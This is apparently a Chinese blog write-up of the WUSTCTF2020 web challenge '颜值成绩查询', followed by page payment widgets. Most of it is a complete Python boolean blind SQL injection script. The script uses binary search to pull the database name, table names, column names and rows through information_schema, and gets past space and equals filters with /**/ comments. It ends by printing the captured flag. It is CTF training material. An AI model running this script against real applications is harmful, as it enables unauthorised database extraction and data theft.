颜值成绩查询

颜值成绩查询

目录

题目描述

WUSTCTF2020

时间:2023年8月15日

类型:Web,sql盲注

WP

提取信息

一开始看到下面有回显,以为是联合注入,实际测试后发现不是。并且过滤了等号 空格,所以直接上盲注脚本。

请添加图片描述

# coding = 'uft-8'
# 2023.09.18 by JIYABE

import requests
import time

def avg(num1, num2):  # 平均数函数
    return (num1 + num2) / 2


class InjectionBlind:
    """
    url:url
    current:正确时的回显文字
    space:分隔符,默认为空格
    tab:注释符
    method:提交方法(post/get)
    """

    def __init__(self, url, current, space, tag, method):
        self.url = url
        self.space = space
        self.method = method
        self.i = 0
        self.table_length = 0
        self.data = {
            # "database1": {
            #     "table1": {
            #         "column1": {
            #             "id": [],
            #             "username": []
            #         }
            #     }
            # }
        }
        self.current = current
        self.tag = tag
        if self.method == "get":
            print("提交方法为GET")
            self.method = "requests.get(url=self.url, params=data)"
        else:
            print("提交方法为POST")
            self.method = "requests.post(url=self.url,data=data)"

    def search_char(self, start_num=31, end_num=127, payload=""):
        avg_num = avg(start_num, end_num)
        self.i += 1
        # print(f"\nNo.{self.i}:[{start_num},{end_num}],{avg_num}")
        time.sleep(0.1)

        data = {
            "stunum": f"1{self.space}and{self.space}{payload}>{avg_num}{self.space}{self.tag}"
        }
        res = eval(self.method)
        match = self.current in res.text  # 判断条件
        avg_int = int(avg_num)
        if end_num == start_num:
            return end_num

        if match:
            return self.search_char(start_num=avg_int+1, end_num=end_num, payload=payload)
        else:
            return self.search_char(end_num=avg_int, start_num=start_num, payload=payload)

    def get_database(self, length=20, start_num=31):
        print("开始获取数据库名...\n当前数据库:", end='')
        res = ""
        count = 0
        for i in range(1, length + 1):
            count += self.i
            self.i = 0
            payload = f"ascii(substr(database(),{i},1))"
            c = self.search_char(start_num=start_num, payload=payload)
            if c == start_num:
                print()
                break
            else:
                res += chr(c)
                print(chr(c), end='')
        self.data[res] = {}
        return res

    # def get_tables_count(self, database, start_num=1, end_num=10):
    #     """
    #     寻找当前数据库[self.database]有多少个表
    #     :param start_num: 最少可能有几个表
    #     :param end_num:  最多可能有几个表
    #     :return: 有几个表
    #     """
    #     print(f"获取{database}库中表的个数为:", end='')
    #     payload = f"{self.space}(select count(table_name){self.space}from{self.space}information_schema.TABLES{self.space}where{self.space}TABLE_SCHEMA='{database}')"
    #     res = self.search_char(start_num=start_num, end_num=end_num, payload=payload)
    #     self.table_count = res
    #     print(res)
    #
    #     return res

    def get_tables(self, database="", length=50, start_num=31):
        res = ""
        for i in range(1, length + 1):
            self.i = 0
            payload = f"ascii(substr((select{self.space}group_concat('',table_name){self.space}from{self.space}information_schema.TABLES{self.space}where{self.space}TABLE_SCHEMA='{database}'{self.space}),{i},1))"
            c = self.search_char(start_num=start_num, payload=payload)
            if c == start_num:
                break
            else:
                res += chr(c)
                print(chr(c), end='')
        print()
        return res

    def get_columns(self, database="", table="", length=100, start_num=31):
        res = ""
        print(f"正在获取{database}.{table}表所有列名:", end='')
        for i in range(1, length + 1):

            self.i = 0
            payload = f"ascii(substr((select{self.space}group_concat('',column_name){self.space}from{self.space}information_schema.columns{self.space}where{self.space}TABLE_SCHEMA='{database}'{self.space}and{self.space}table_name{self.space}='{table}'),{i},1))"
            c = self.search_char(start_num=start_num, payload=payload)
            if c == start_num:
                print("\n获取列名完毕")
                break
            else:
                res += chr(c)
                print(chr(c), end='')
        print(res)
        return res

    #
    def get_data(self, target=0, columns="", table="", database="", length=50, start_num=31):
        res = ""
        for i in range(1, length + 1):
            self.i = 0
            payload = f"ascii(substr((select{self.space}concat_ws(',',{columns}){self.space}from{self.space}{database}.{table}{self.space}limit{self.space}{target},1),{i},1))"
            c = self.search_char(start_num=start_num, payload=payload)
            if c == start_num:
                break
            else:
                res += chr(c)
                print(chr(c), end='')
        return res

    def get_datas(self, length=100, columns="", table="", database=""):
        print(f"正在查找{database}.{table}表中所有记录...", end='')
        for i in range(length):
            print(f"\n{i}:", end='')
            res = self.get_data(target=i, columns=columns, table=table, database=database)
            if res == "":
                print("查询结束")
                break
        print()


URL = "http://35aa9255-aa2e-4f69-9c93-adc1ca506b51.node4.buuoj.cn:81/"
a = InjectionBlind(url=URL, current="Hi", tag='#', space='/**/', method="get")
a.get_database()#test
a.get_tables(database="ctf")#
a.get_columns(database="ctf", table="flag")
a.get_datas(database="ctf", table="flag", columns="value")
# print(a.data)

得到flag

flag{487e14bc-5f47-4c28-ac13-914e3b063264}

请添加图片描述

注意

脚本时一定要注意发包不能太快,不然可能会因为访问过快造成误判

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值